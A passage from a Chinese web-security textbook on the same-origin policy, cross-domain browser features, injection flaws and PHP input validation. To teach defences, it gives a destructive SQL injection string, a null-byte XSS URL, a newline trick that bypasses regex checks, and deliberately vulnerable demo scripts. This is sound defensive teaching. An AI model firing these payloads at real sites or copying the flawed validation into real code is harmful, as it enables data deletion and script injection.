章开始详述网站方面的对策，但其前提是浏览器不存在安全方面的问题。如果浏览器存在安全问题，网站方面即使实施了对策也无法完全确保安全性。\n在说明网站的对策之前，让我们先来关注一下浏览器的安全功能。\n沙盒\n浏览器能够在用户浏览网站的同时运行一些程序，比如 JavaScript、Java Applet、Adobe Flash Player、ActiveX 等。而为了防止恶意程序在用户的浏览器上运行，JavaScript 等语言提供了一些增强安全性的机能。基本思想有如下两种。\n只有在用户确认了程序的发行方并且允许运行的情况下，程序才能被运行\n提供限制程序权限的沙盒环境\n第一种方式经常被用于 ActiveX 或带有签名的 Applet，但如果一般的应用程序都采用这种方式的话，对用户来说就显得负担过大，因此，现在这种方式主要用于为浏览器提供插件功能。\n沙盒（Sandbox），是 JavaScript、Java Applet、Adobe Flash Player 等经常使用的一种思路。在沙盒里面，程序的权限受到制约，即使编写了恶意程序也无法对用户造成伤害。就像孩子们能在沙地中尽情地喧闹而不会给外界带来困扰一样，由此便使用了英语“sandbox”一词，并将其引申为“沙盒”。\n通常情况下，沙盒限制了以下功能。\n禁止访问本地文件\n禁止使用打印机等资源（可以显示页面）\n限制网络访问（同源策略）\n虽然网络访问无法被完全禁止，但却受到了严格的限制，此限制就被称为同源策略。下面，让我们一起看一下 JavaScript 中的同源策略。\n同源策略\n同源策略（Same Origin Policy）是禁止 JavaScript 进行跨站访问的安全策略。它也是浏览器的沙盒环境所提供的一项制约。\n浏览器可以同时处理多个网站的内容，其典型方法为使用标签页或 frame 等。下面，我们以 iframe 为例来说明同源策略的必要性。\nJavaScript 访问 iframe 的试验\n接下来，让我们通过观察 JavaScript 对 iframe 的访问限制来体验同源策略。首先，有一点需要了解到的是，如果主机（Host）相同，在 iframe 的外部就能够通过 JavaScript 取得 iframe 内部的 HTML 内容。\n下面展示的是包含 iframe 要素的“外层”HTML10\n 。\n代码清单 /32/32-001.html（外层 HTML）\n<html>\n<head><title> 跨 frame 的读取试验 </title></head>\n<body> ┌在 iframe 中显示其他HTML的内容\n<iframe name=\"iframe1\" width=\"300\" height=\"80\" src=\"http://example.jp/32/32-002.html\"\n>\n</iframe><br>\n<input type=\"button\" onclick=\"go()\" value=\" 密码→ \">\n<script>\nfunction go() {\n try { ┌───取得 iframe 中的内容\n var x = iframe1.document.form1.passwd.value\n;\n document.getElementById('out').innerHTML = x\n;\n } catch (e) { └───在 DOM 中显示读取出的字符串\n alert(e.message);\n }\n}\n</script>\n<span id=\"out\"></span>\n</body>\n</html>\n下面是显示在 iframe 中的“内层”HTML。\n代码清单 /32/32-002.html（内层 HTML）\n<body>\n<form name=\"form1\">\niframe 的内层 <br>\n密码 <input type=\"text\" name=\"passwd\" value=\"password1\">\n</form>\n</body>\n运行页面如图 3-26 所示。点击“密码→”按钮后，iframe 内部的文本框中的文字出现在了按钮右侧。由此证实了 JavaScript 能够取得 iframe 内部的内容。\n图 3-26 JavaScript 能够读取 iframe 内部数据\niframe 被恶用的可能性\niframe 内部的信息能被 JavaScript 读取，这样会不会有安全性问题呢？\n现在假设你是被动攻击的受害者。在 example.jp 登录以后，浏览了恶意网站 trap.example.com。恶意网站使用 iframe 来显示 example.jp 的内容，如图 3-27 所示。由于你已经登录了 example.jp，所以 iframe 内会显示你的个人信息，但这些信息只有你自己看到，所以显示在浏览器上本身不存在问题。\n图 3-27 使用 iframe 的恶意网站\n但是，假如恶意网站能用 JavaScript 访问 iframe 内部信息的话就存在问题了。因为你的个人 信息会被恶意网站上的脚本发送给它的服务器。下面我们来试验一下这是否可行。\n这次充当恶意网站的是包含 iframe 的 HTML（32-900.html），假设它被托管于 trap.example.com， 并在其 iframe 中显示刚才的 32-002.html（内侧 HTML）。32-900.html 虽然扮演恶意网站的角色， 但其内容同 32-001.html 一样。\n同源策略\n访问 http://trap.example.com/32/32-900.html\n 后点击“密码→”按钮，页面显示如下。\n图 3-28 恶意网站试图使用 JavaScript 读取 iframe 内部内容被拒绝\n虽然 iframe 内可以显示 example.jp 的内容，但是其他主机（trap.example.com）上的 JavaScript 却无法访问其内容。这是因为 JavaScript 若能访问其他主机的话就会导致安全性问题，所以根据同源策略，访问遭到了拒绝。\n同源的条件\n目前为止一直使用着“相同主机”这个含糊的用语，而严格来说，“同源”需满足以下全部条件。\nURL 的主机（FQDN ：Fully Qualified Domain Name，全称域名）一致 11\nScheme（协议）一致\n端口号一致\n发送 Cookie 时的条件与协议或端口号无关，所以针对 JavaScript 的限制正变得越发严格。而另一方面，JavaScript 却没有访问目录的限制 12\n 。\n同源策略的保护对象不仅仅是 iframe 内的文档。比如，实现 Ajax 时所使用的 XMLHttpRequest 对象能够访问的 URL 也受到了同源策略的限制。\n应用程序安全隐患与被动攻击\n虽然浏览器的同源策略为抵御被动攻击设下了一道屏障，但如果应用程序中存在安全隐患，还是有可能会遭受到被动攻击。跨站脚本攻击（XSS）就是典型的例子。\n跨站脚本攻击在下一章中会详细讲述，这里，我们先利用刚才试验的例子来解释一下其攻击方式。在使用 iframe 外层的 JavaScript 访问内层（其他主机）数据时由于违反同源策略，访问会被拒绝。但是，这种情况下却可以使用一些特殊手段将 JavaScript 放到 iframe 的内层去执行。由于在 iframe 内层不会受到同源策略的限制，因此就能够成功访问文档信息。这种攻击就叫作跨站脚本攻击（XSS）13\n 。XSS 将在 4.3 节详细讲述。\n图 3-29 XSS 通过将 JavaScript 放到内层从而在同源的环境下来执行\n专栏：第三方 JavaScript\n虽然 XSS 是因不怀好意的第三方执行 JavaScript 而产生的问题，但有些情况下我们也会需要执行第三方 JavaScript。而为了安全上的考虑，网站运营者或者网页浏览者通常执行的是他们信任的第三方 JavaScript。\n网站运营者执行所信任的第三方 JavaScript\n网站运营者有时会将第三方 JavaScript 嵌入到自己的网站中。典型的例子为，访问解析、横幅广告、博客插件等。这种情况下，运营者会有意将第三方的 JavaScript 嵌入到网页中。\n嵌入的 JavaScript 如果是恶意代码，网站就有信息泄漏或遭到篡改的风险。所以，JavaScript 提供方值得信赖当属前提条件。但是，基于以下种种威胁，现实中安全问题却屡屡发生。\n提供方有意收集个人信息\n提供方的服务器存在安全隐患，JavaScript 代码被调包\n提供方的 JavaScript 代码存在安全隐患而被迫运行其他脚本\n网站横幅广告用的 JavaScript 和 XSS 用的 JavaScript，从技术角度来看其危险程度是相同的。两者的区别仅是网站运营者对提供方信赖与否的问题。因此，即使有意嵌入第三方 JavaScript，也需要在充分调查提供方信赖度的基础上，慎重作出判断。\n网页浏览者信任第三方而向网页中嵌入 JavaScript\nFirefox 的插件 Greasemonkey，就是网页浏览者信任第三方而向网页中嵌入 JavaScript 的例子。Greasemonkey 能让用户通过安装各种脚本从而轻易改变浏览中的网页内容。\nGreasemonkey 运行时通常比 JavaScript 拥有更强的权限，所以，假如 Greasemonkey 脚本的作者心怀不轨，就能够进行盗取密码等非法操作。\n10\n 32-001.html 含有 XSS 漏洞。详情参考 4.3 节。\n11\n 主机方面，通过 JavaScript 修改 document.domain 可以使条件放宽，但至少也被限制在了相同域名中不同主机之间的访问。\n12\n i-mode2.0（日本 NTT DoCoMo）的手机浏览器的同源策略中添加了目录访问的限制。\n13\n 这里所讲解的是使用 iframe 来进行 XSS 攻击的情况，但其实不用 iframe 也同样能发动 XSS 攻击。\nJavaScript 以外的跨域访问\n前面讲解了 JavaScript 的跨域访问会受到同源策略的严格限制。下面，让我们来看一些能够进行跨域访问的其他浏览器功能。\nframe 元素与 iframe 元素\n通过前面的试验可知，iframe 元素与 frame 元素能够进行跨域访问，但通过 JavaScript 却不能跨域访问 iframe 中的文档内容。\n专栏：X-FRAME-OPTIONS\nX-FRAME-OPTIONS 是微软公司提出的一种限制 frame 和 iframe 访问权限的方案，现已被 IE、Firefox、Google Chrome、Safari、Opera 等主流浏览器的最新版采用。\nX-FRAME-OPTIONS 被定义在响应头信息中，值为 DENY（拒绝）或 SAMEORIGIN（仅限同源）。指定了 DENY\n 的响应将不能显示在 frame 等的内层中，而 SAMEORIGIN 的情况下则仅当与地址栏上显示的域名为同源时才能够被显示。\n在 PHP 中将 X-FRAME-OPTIONS 指定为 SAMEORIGIN 的方法如下。\nheader('X-FRAME-OPTIONS: SAMEORIGIN');\nX-FRAME-OPTIONS 还可以用来防范点击劫持（Clickjacking）14\n 。通过将不使用 frame 或 iframe 的网站指定为 DENY\n ，使用 frame 并且使用单一主机的网站指定为 SAMEORIGIN，就能够更好地防御利用 frame 执行的各种攻击。\nimg 元素\nimg 元素的 src 属性能够指定其他域名。这时，请求图像时会附带图像所在主机的 Cookie，所以就能够让恶意网站上的图像显示为“此图像需要认证”。\nJavaScript 无法访问图像文件内部，所以跨域图像访问通常不会造成什么问题。如果不想让自己的图像被贴到某些特定网站，则可以针对图像检验 Referer 消息头。\n不过这样会使关闭了 Referer 的用户无法看到图像。\nscript 元素\n通过指定 script 元素的 src 属性就能够从其他网站来读取 JavaScript。这里假设 A 网站读取 B 网站的 JavaScript，如图 3-30 所示。\n图 3-30 跨域读取 script\nJavaScript 的源代码位于 B 网站的服务器中，但是 JavaScript 被读取后，它的作用范围就变成了读取它的 HTML 所在的 A 网站。因此，JavaScript 执行 document.cookie\n 后得到的便是 A 网站上的 Cookie 信息。\nA 网站向 B 网站发送取得 JavaScript 的请求时，也会同时向 B 网站发送 Cookie。因此，根据用户在 B 网站中的登录状态，B 网站的 JavaScript 的代码有可能会发生变化，从而影响 A 网站中的内容。\n这种情况也有可能会伴随着 JSONP（JSON with padding）而出现。JSONP 是从 Ajax 应用来访问不同来源的服务器中的数据时所采取的一种方式，但是根据认证状态的不同，JavaScript 的代码（JSONP 的数据）会发生变化，从而就有可能会导致意想不到的信息泄漏事故。所以 JSONP 是不能用于传送隐私信息的。\nCSS\nCSS（Cascading Style Sheets）能够被跨域读取。具体来说，除了 HTML 的 link 元素之外，也能在 CSS 中使用 @import\n ，或者使用 JavaScript 的 addImport\n 方法。\n一般来说，即使读取不良网站的 CSS 也不会造成问题。但以前在 Internet Explorer 中出现过叫作 CSSXSS 的安全隐患 15\n ，它能使 HTML 或 JavaScript 被当成 CSS 读取，而如果其中部分代码能被执行的话就会有危险。\n由于 CSSXSS 超出了本书的范围，因此在此不做详述。并且 CSSXSS 属于浏览器的漏洞，无关应用程序，所以只需要提醒网站用户使用最新的浏览器（如 IE8），并安装官方的安全补丁即可。\nform 元素的 action 属性\nform 元素的 action 属性也能够跨域指定。而且无论 action 的目标是否跨域，form 的提交都能通过 JavaScript 来操作。\n恶意利用 form 元素的特性来实施攻击的方式被称为跨站请求伪造（CSRF）。CSRF 攻击是让用户在不知情的情况下提交 form，从而肆意使用应用中的功能。关于 CSRF 会在 4.5 节详述。\n14\n 点击劫持是综合利用 iframe 和 CSS 而执行的一种被动攻击，使用视觉上的欺骗手段诱使用户进行操作。\n15\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4089\n总结\n本节讲述了被动攻击，以及浏览器用来防御被动攻击的同源策略。\n被动攻击是攻击 Web 应用的一种手法，经由用户的浏览器来攻击 Web 应用程序。\nJavaScript 的同源策略是浏览器防御被动攻击的代表性对策。然而，若浏览器或 Web 应用中存在安全隐患，攻击者就可以绕过同源策略而执行攻击。下一章我们就将重点讲述 Web 应用方面的防御对策。\n第 4 章 Web 应用的各种安全隐患\n本章将详细讲解 Web 应用中各种安全隐患的产生原理、影响范围和防范策略。\n4.1 节讲述 Web 应用中功能与安全隐患的对应关系，从而使读者对安全隐患有一个整体印象。\n4.2 节讲述 Web 应用的“输入”以及与其相关的安全隐患。\n4.3 节以后将分门别类地详细剖析 Web 应用的每个功能容易滋生的安全隐患。其中，一些影响重大的知名隐患，如跨站脚本（XSS）与 SQL 注入等也都将在此进行讲述。\n4.1 Web 应用的功能与安全隐患的对应关系\n安全隐患产生于何处\n在逐项细述 Web 应用的安全隐患之前，让我们先对安全隐患有一个整体认识。图 4-1 展示了 Web 应用的各项功能与安全隐患的对应关系。图中使用经典的“输入－处理－输出”模型来表示 Web 应用。从 HTTP 请求的输入开始，经过应用的各种处理，最后由 HTTP 响应进行输出。而除了 HTTP 响应外，此处的“输出”还包括访问数据库、读写文件、收发邮件等“与外界交流”的操作。\n图 4-1 Web 应用的功能与安全隐患的对应关系\n换一个角度来看，图 4-1 中的“输出”也能被理解为向外部媒介输出脚本。Web 应用常见的脚本输出和与其对应的安全隐患如下所示。\n输出 HTML（跨站脚本）\n输出 HTTP 消息头（HTTP 消息头注入）\n调用 SQL 语句（SQL 注入）\n调用 Shell 命令（OS 命令注入）\n输出邮件头和正文（邮件头注入）\n关于各隐患的详情在后面的章节中会进行细述，而从图 4-1 中，我们可以得出以下结论。\n处理过程与输出过程会产生安全隐患\n输入过程不会产生安全隐患 1\n输出过程产生的安全隐患的名称中多数都带有“注入”\n1\n 仅限于本书探讨的应用程序的安全性。如果将讨论范围扩大至中间件（Middleware），输入校验时也有可能引入安全隐患。\n其实，跨站脚本有时也被称为“HTML 注入”或“JavaScript 注入”，因此，图 4-1 中输出过程产生的安全隐患全部为注入型隐患。\n综上所述，安全隐患和 Web 应用的功能息息相关。所以在程序设计或编写代码时，就能够根据此时正在实现的功能而得知应当对哪些安全隐患提高警惕。鉴于这种情况，下一节开始，我们将按照 Web 应用的各项功能分类，来详细阐述与其对应的安全隐患。\n由于所有的注入型隐患都是基于一些共同的原理，因此，接下来就让我们首先来看一下注入型隐患产生的原因。\n注入型隐患\nWeb 应用中传递的信息多数为文本格式。HTML、HTTP 和 SQL 等支撑 Web 应用的技术多数都采用了文本格式的接口。\n这些文本格式都由各自的语法构成，其中还混合了命令、运算符和数据等。多数情况下，数据部分会通过使用引号（单引号或双引号）或使用被称为分隔符（Delimiter）的符号（逗号、Tab 或换行符等）隔开的方式来加以区分。Web 应用的普遍形式为，首先确定文本的框架结构，然后再将数据填入其中。例如，以下的 SQL 语句中，$id\n 就是被填入的数据。\nSELECT * FROM users WHERE id='$id\n'\n$id\n 以外的部分即事先确定的文本结构。然而，如果应用存在安全隐患，就能够更改此 SQL 语句的结构。\n举例来说，假设要将以下字符串作为 $id\n 的值填入 SQL 语句。\n';DELETE FROM users --\n填入数据后的 SQL 语句如下。阴影部分即 $id\n 的值。\nSELECT * FROM users WHERE id='';DELETE FROM users --\n'\n外界传入的单引号和分号迫使 SELECT 语句结束后，又被添加了 DELETE FROM 语句，这就是 SQL 注入攻击，详情将在 4.4.1 节讲述。\nSQL 注入攻击产生的原因为，在被认定为“数据”的位置插入单引号使得数据部分结束，从而更改了 SQL 语句的构造。\n这个原理同样也适用于其他的注入型隐患。通过插入引号或分隔符等用于表示“数据部分边界”的字符，从而改变了文本的结构。\n表 4-1 列举了各种注入型攻击采用的恶意手段和表示“数据部分边界”的字符。详情在之后介绍各个隐患时会进行细述，此处首先对注入型隐患的产生有着共同的原理这一事实有一大致印象，将有助于理解后面章节的内容。\n表 4-1 注入型隐患的比较\n隐患名\n接口\n恶意手段\n数据部分边界\n跨站脚本\nHTML\n注入JavaScript等\n< \" 等2\nHTTP消息头注入\nHTTP\n注入HTTP响应消息头\n换行符\nSQL注入\nSQL\n注入SQL命令\n' 等\nOS命令注入\nShell脚本\n注入系统命令\n; | 等\n邮件头注入\nsendmail命令\n注入或更改邮件头或正文\n换行符\n2\n 之所以将“<”作为数据部分的边界，是因为 HTML 元素的内容（一般为文本）以“<”为结束符，“<”表示标签的开始。\n总结\n本节作为讲解安全隐患的序幕，介绍了安全隐患产生地点和安全隐患种类的关联性。此外，对由输出引发的安全隐患，即注入型隐患的产生原理也进行了介绍。\n下一节开始，我们将把 Web 应用以功能为单位进行细分，并详细讲解每一功能容易产生的安全隐患。\n4.2 输入处理与安全性\n本节专门讨论 Web 应用中对“输入值”的处理，以及输入处理在安全性策略中的地位。虽然校验输入值本身并不是安全性策略，但是，在安全性对策存在缺陷的情况下，通过校验输入值能够防止危害的发生，或者减轻损害的程度。\n什么是 Web 应用的输入处理\nWeb 应用中的输入即由 HTTP 请求传入的信息，比如 GET、POST、Cookie 等。Web 应用接收到这些值时所做的处理，在本书中称为“输入处理”。以图 4-2 所示的“输入－处理－输出”模型为例，在这一模型中，Web 应用的输入处理即为业务逻辑处理之前的数据准备阶段。\n图 4-2 “输入－处理－输出”模型\n输入处理就是指对输入值做如下处理。\n（a）检验字符编码的有效性 3\n3\n 本章不深入讲解字符编码。详情请参考第 6 章。\n（b）必要时转换字符编码\n（c）检验参数字符串的有效性\n之所以检验字符编码的有效性是因为存在利用字符编码的攻击手段 4\n （参考第 6 章）。虽然理论上只要确保所有使用字符串的地方都能正确处理字符编码就不会有问题，但现实中由于编程语言的漏洞或者写代码时的疏忽，安全隐患却防不胜防。而另一方面，如果 Web 应用能够将字符编码不正确的数据拒之门外，就能抵御利用非法字符编码发动的攻击。\n4\n 此外，因为程序的正常运行也要求字符编码没有问题，所以检验字符编码有效性也是为了保证程序的正常运行。\n（b）处理中的转换字符编码，指的是在 HTTP 消息与程序内部使用的字符编码不一致的情况下需要进行的处理。\n（c）处理中的校验输入值，与其说是安全性方面的要求，不如说是依据应用软件规格执行的操作，但不管怎样，从结果上来看确实对提升应用的安全性起到了辅助作用。\n下面让我们来分别看一下上述 3 点的详细内容。\n检验字符编码\nPHP 中能使用 mb_check_encoding\n 函数检验字符编码。\n格式清单 mb_check_encoding 函数\nbool mb_check_encoding(string $var, string $encoding)\n第一个参数 $var\n 是检验对象字符串，第二个参数 $encoding\n 是字符编码。$encoding\n 可以省略，省略时函数使用 PHP 的内部字符编码。如果 $var\n 字符串的字符编码正确则函数返回 true。\n其他编程语言中检验字符编码的方法请参考第 6 章。\n转换字符编码\n转换字符编码的方法因编程语言而异。总体上可分为自动转换字符编码的语言和在脚本中手动转换字符编码的语言。PHP 中通过设置 php.ini 文件，可切换上述两种方式。\n表 4-2 主流 Web 开发语言中提供的转换字符编码的方法\n语言\n自动转换\n手动转换\nPHP\nphp.ini 等\nmb_convert_encoding\nPerl\n×\nEncode::decode\nJava\nsetCharacterEncoding\nString 类\nASP.NET\nWeb.config\n×\n表 4-2 中归纳了主流 Web 开发语言中提供的转换字符编码的方法。接下来、让我们以手动转换字符编码的方式为例进行说明。\nPHP 中使用 mb_convert_encoding\n 函数来手动转换字符编码。\n格式清单 mb_convert_encoding 函数\nstring mb_convert_encoding(string $str, string $to_encoding, string $from_encoding)\nmb_convert_encoding\n 函数的 3 个参数分别为：转换前的字符串、转换后的字符编码、转换前的字符编码。返回值为转换后的字符串。\n检验并转换字符编码的实例\n这里我们来看一个检验并转换字符编码的实例。以下 PHP 脚本表示的是接收 Shift_JIS 编码的文字列 name\n 后将其显示在页面上。脚本的内部编码为 UTF-8，所以需要使用 mb_convert_encoding\n 函数来转换文字编码。\n代码清单 /42/42-001.php\n<?php\n $name = isset($_GET['name']) ? $_GET['name'] : '';\n // 校验字符编码（Shift_JIS）\n if (! mb_check_encoding($name, 'Shift_JIS')) {\n die(' 字符编码有误 ');\n }\n // 转换字符编码（Shift_JIS → UTF-8）\n $name = mb_convert_encoding($name, 'UTF-8', 'Shift_JIS');\n?>\n<body>\n名字为 <?php echo htmlspecialchars($name, ENT_NOQUOTES, 'UTF-8'); ?>\n</body>\n正常情况下执行结果如图 4-3 所示。\n图 4-3 42-001.php 执行结果示例（正常情况）\n下图为使用不符合 Shift_JIS 编码的字符串 %82%21 时的页面显示。由于 Shift_JIS 双字节的第二个字节必须是 0x40 以上的值，而 %20 不符合要求，所以是无效的 Shift_JIS 数据。相关详情可参考第 6 章。\n图 4-4 输入值不符合 Shift_JIS 编码\n专栏：字符编码的自动转换与安全性\n前面提到 PHP 中能通过编辑 php.ini 使字符编码自动转换。其实，也有些编程语言，如 Java 与 .NET，主要使用自动转换字符编码。\n转换字符编码时，不正确的字符会被删除或被替换为其他字符（?\n 或者 Unicode 的替换字符 U+FFFD），因此，即便是自动转换字符，也能够防御利用字符编码的攻击手段。\n虽然使用自动转换能让写代码的工程轻松不少，但也存在以下缺点。\n用户没有注意到程序内部出现了文字乱码而继续操作\n迁移服务器等导致 php.ini 文件被改变后，会有丢失校验操作的风险\n因此，本书专门介绍了检验字符编码和手动转换字符编码的方法。\n至于如何选择自动转换与手动转换，需要在了解两者各自的优缺点的前提下，在开发团队中达成统一认识，或者在进行各个项目时分别选择。\n输入校验\n处理完字符编码的相关操作后，就进入到了输入校验的阶段。下面，让我们首先了解一下 Web 应用中输入校验的概要，并在此基础上探讨输入校验与安全性的关系。\n输入校验的目的\n为了理解输入校验的目的，我们首先来看一下没有对输入值进行校验的 Web 应用的情况。如果 Web 应用没有对输入值进行校验的话，或许就会出现以下现象。\n用户在只接受数值的项目中填入了字母或标点符号，导致保存至数据库时发生错误\n更新处理时中途发生错误，导致数据库的不一致性\n用户填写完很多项目后点击确认按钮时因发生了内部错误而不得不全部重新填写\n程序在用户漏填邮箱地址的情况下依然执行发送邮件的处理\n像这样，不校验输入值会导致应用程序内部业务逻辑在中途发生错误，以及乍一看似乎很正常，但相关操作在后台其实根本没有被处理，或者没有被处理完等问题。\n而输入校验就是为了减少此类事故的发生。然而，输入校验说到底也只是对字符串的格式进行检查，格式以外的其他条件（如是否还有库存，账户余额是否充足等）则并不会得到检验。因此，输入校验并不能消灭所有的错误，但是通过尽早通知用户输入存在不妥并让其改正，可以使应用的易用性得到提高。\n综上，输入校验的目的可以被总结如下。\n尽早发现输入错误并提示用户重新输入，提高了易用性\n防止错误处理造成数据不一致等，提高了系统的可靠性\n输入校验与安全性\n虽然输入校验的主要目的并不是安全性，但有时却也能对提高应用的安全性大有裨益。例如以下情况。\n在有些参数忘了防范 SQL 注入攻击的情况下，因为输入检验时只允许字母和数字，所以就能避免损害\n在 PHP 中使用了非二进制安全的函数（稍后讲述）的情况下，因为输入校验时过滤了控制字符，所以就能避免损害\n在页面显示处理函数中对字符编码的指定有所疏忽时，因为输入校验时检验了字符编码的有效性，所以就能避免损害 5\n二进制安全与空字节攻击\n刚才出现了“二进制安全”这个用语。二进制安全是指，不管输入值是怎样的字节列都能将其原封不动地进行处理的功能，特别是当包含零值字节（NULL 字节，PHP 中记为 \\0）时也能正确处理。\n空字节之所以特殊，是因为在 C 语言以及 Unix 与 Windows 的 API 中规定空字节为字符串的结尾。因此，底层为 C 语言的 PHP 以及其他脚本语言中，有些函数不能正确处理空字节。而这类函数就被称为不是二进制安全的函数。\n利用空字节的攻击手段被称为空字节攻击。空字节攻击本身并不造成伤害，而是通常被用于绕过其他安全隐患的防范策略。\n以下为没有进行空字节攻击防范的范例脚本。42-002.php 使用正则表达式 ereg\n 检验变量 $p\n 的值中仅包含数字。\n代码清单 /42/42-002.php\n<body>\n<?php\n $p = $_GET['p'];\n if (ereg('^[0-9]+$', $p) === FALSE) {\n die(' 请输入整数值 ');\n }\n echo $p;\n?>\n</body>\n$p\n 只包含数字的情况下，页面显示应该一切正常。接下来，我们来尝试用如下 URL 来执行 42-002.php。\nhttp://example.jp/42/42-002.php?p=1%00<script>alert('XSS')</script>\n运行结果如图 4-5 所示。\n图 4-5 绕过 ereg 检验的安全隐患\n浏览器中执行了 JavaScript 代码，弹出“XSS”的对话框，这就是跨站脚本漏洞（XSS），具体内容将在 4.3 节中详述，但在此也可以看出使用 ereg\n 的检验是能被绕过的。\nereg 检验被绕过的原因\nereg\n 检验被绕过的原因是 URL 中含有 %00。%00 就是空字节，由于 ereg\n 函数不是二进制安全的函数，因此，检验对象字符串中如果含有空字节，就会被视作字符串的结束（图 4-6）。\n图 4-6 空字节攻击\n由于 <script>…\n 以后的字符串被检验函数忽略，检验对象字符串变成了“1”，满足“仅限数字”的要求，因此便通过了检验。而 JavaScript 得以被执行的原因也就是如此。\n前面已经说过，空字节攻击很少能独自造成损害，而是通常被用来在其他安全隐患防范策略的疏漏中见缝插针。而除了 XSS 外，常与空字节攻击组合使用的还有目录遍历攻击（参考 4.10.1 节）。\n虽然在应用中全部使用二进制安全的函数就能完全防御空字节攻击，但实际实现起来却颇为困难。因为很多情况下函数的参考文档中都没有明确记载该函数是否二进制安全。因此，行之有效的策略为，在应用程序的入口处使用二进制安全的函数检验输入值中是否有空字节，如果含有空字节就报错。\n仅校验输入值并不是安全性策略\n至此，读者们或许会产生以下疑问：如果在输入阶段就将所有的非法输入值过滤掉，是不是就能确保应用的安全性了呢？而且在输入阶段就将安全隐患全部搞定的话，之后的工作也更轻松了呢。\n但遗憾的是这并不可行。因为输入阶段实施的校验并不能成为安全隐患的防范策略。输入校验是根据应用程序的软件规格而实施的操作。例如，假设规格书中规定允许输入任何字符，那么，在输入阶段就无法进行任何安全性防范措施。\n因此，输入校验的作用最多也就是为安全机制多加一层保障。\n输入校验的依据是应用程序的规格\n输入校验时的基准是应用程序的规格。例如电话号码应该全部是数字、用户 ID 应该是 8 位的字母或数字等，各参数允许的字符种类以及长度都应根据应用的要求规格进行设置。\n校验控制字符\n刚才已经提到输入校验的基准是应用程序的规格，但为了在应用的规格中规定“允许输入任何字符”的情况下也能够进行验证，就需要校验控制字符。\n控制字符是指，换行符（CR 和 LF）和 Tab 等通常不显示在页面上的、ASCII 编码中 0x20 以下以及 0x7F（DELETE）的字符。前面讲到的空字节也是控制字符。由于 Web 应用中的输入参数多为文本格式，所以应当限制控制字符的输入，然而也有一些 Web 应用未对控制字符进行处理。\n单行的文本输入框（input 要素的 type 属性值为 text 或 password）中，由于按常规的输入方法无法输入控制字符，因此多数情况下所有的控制字符都会遭到拒绝。textarea 元素中能够输入换行和 Tab，但是否允许 Tab 则要由规格决定。\n校验字符数\n应用程序的规格文档中应当明确定义所有输入项目的最大字符数。如果是要保存到数据库的值，最大字符数理应与表字段的最大字符数一致。而即使有些输入项目没有物理上的上限值限制，为了保证程序的正常运行，也同样需要确定最大字符数。\n某些情况下，校验最大字符数能使应用的安全性更为稳固。由于攻击 Web 应用有时需要用到很长的字符串，因此，假设限制字符串的最大长度为 10 的话，那么就能使攻击者在发现 SQL 注入隐患时也无法实施攻击。虽然我们不能对校验字符数的效果抱有过多期待，但也应该认识到校验字符数的必要性以及其对安全性的帮助。\n哪些参数需要校验\n输入校验的对象为所有的参数。hidden 参数、单选框、select 元素等也不例外。Cookie 中包含会话 ID 以外的值的情况下，Cookie 值也是校验对象。此外，应用中用到了 Referer 等 HTTP 消息头时也需要进行校验。\nPHP 的正则表达式库\n利用正则表达式能够便利地实现输入校验。PHP 中可以利用的正则表达函数有 ereg\n 、preg\n 、mb_ereg3\n 大类。其中，ereg\n 由于不是二进制安全的，因此在 PHP5.3 及以后的版本中已被废弃，而改用了 preg\n 或 mb_ereg\n 。preg\n 仅在字符编码为 UTF-8 的情况下能正常处理中文字符，而 mb_ereg\n 则适用于大多数字符编码。\n通过在程序的开头使用 preg\n 或 mb_ereg\n 进行包含空字节的控制字符校验，就能够同时进行应用规格中的字符种类校验和空字节校验。\n关于正则表达式的详情请参考 PHP 的文档或说明手册。下面，我们通过具体例子来了解一下 PHP 中输入校验时的注意点。\n使用正则表达式检验输入值的实例（1）1 ～ 5 个字符的字母数字\n下面的代码展示了使用 preg_match\n 函数来校验“1-5 个字符的字母数字”的范例。\n代码清单 /42/42-010.php\n<?php\n $p = isset($_GET['p']) ? $_GET['p'] : '';\n if (preg_match('/\\A[a-z0-9]{1,5}\\z/ui', $p) == 0) {\n die(' 请输入 1-5 个字符长度的字母或数字 ');\n }\n?>\n<body>\np 的值为 <?php echo htmlspecialchars($p, ENT_NOQUOTES, 'UTF-8'); ?>\n</body>\n传递给 preg_match\n 的正则表达式可以按照图 4-7 这样进行解释。\n图 4-7 检验“1～5 个字符的字母数字”的正则表达式\n其中，各部分的意思分别如下。\nu 修饰符\n在中文环境中使用 preg_match\n 函数时，无论检验对象是否含有中文，都必须指定表示字符编码为 UTF-8 的 u\n 修饰符。\ni 修饰符\ni\n 修饰符表示匹配时不区分大小写。\n全体一致匹配时使用 \\A 和 \\z\n\\A\n 代表数据的开头，\\z\n 代表数据的结尾。有时也会使用 ^\n 和 $\n 来代替 \\A\n 和 \\z\n ，但由于 ^\n 和 $\n 代表“行的”开头和结尾，$\n 会匹配换行符，所以当它们被用于匹配数据的开头和结尾时就有可能产生 Bug。\n图 4-8 的脚本中使用了 ^\n 和 $\n 代替 \\A\n 和 \\z\n6\n ，校验对象字符的结尾处为 %0a\n （LF 换行）。能看到换行符绕过了校验。\n图 4-8 换行符绕过了校验\n字符集合\n[\n 和 ]\n 围住的部分就是字符集合。在方括号内将允许的字符全部列举出来，或者使用 [0-9]\n 这样的形式来指定范围。指定字母，可使用 [a-zA-Z]\n 。指定字母与数字，可使用 [a-zA-Z0-9]\n 。而使用 i\n 修饰符后，只需在大写文字与小写文字中任选其一即可。\n数量修饰符\n{\n 和 }\n 围住的部分就是数量修饰符。{1,5}\n 的意思是字符数大于等于 1 且小于等于 5。允许为空（0 字符）的情况下指定为 {0,5}\n 。\n使用 mb_ereg\n如果不用 preg_match\n 而改用 mb_ereg\n 函数，就需要将脚本的开头部分作如下修改。\n代码清单 /42/42-012.php（选摘）\n<?php\n // mb_regex_encoding 在设置了内部编码的情况下可以省略\n mb_regex_encoding('UTF-8'); // 只要在程序开头设置一次即可\n $p = isset($_GET['p']) ? $_GET['p'] : '';\n if (mb_ereg('\\A[a-zA-Z0-9]{1,5}\\z', $p) === false) {\n die(' 请输入 1-5 个字符长度的字母或数字 ');\n }\n?>\nmb_regex_encoding\n 函数的作用为指定 mb_ereg\n 函数的字符编码。如果 php.ini 已经设置了内部字符编码，此步骤可以省略。\nmb_ereg\n 与 preg_match\n 的不同之处有 3 点：mb_ereg\n 的正则表达式不需要用 /\n 括起来；不使用 u\n 修饰符；没找到匹配项时返回 false。另外，由于 m b_ereg\n 的返回值为整数或布尔型，所以比较时应使用区分类型的 ===\n 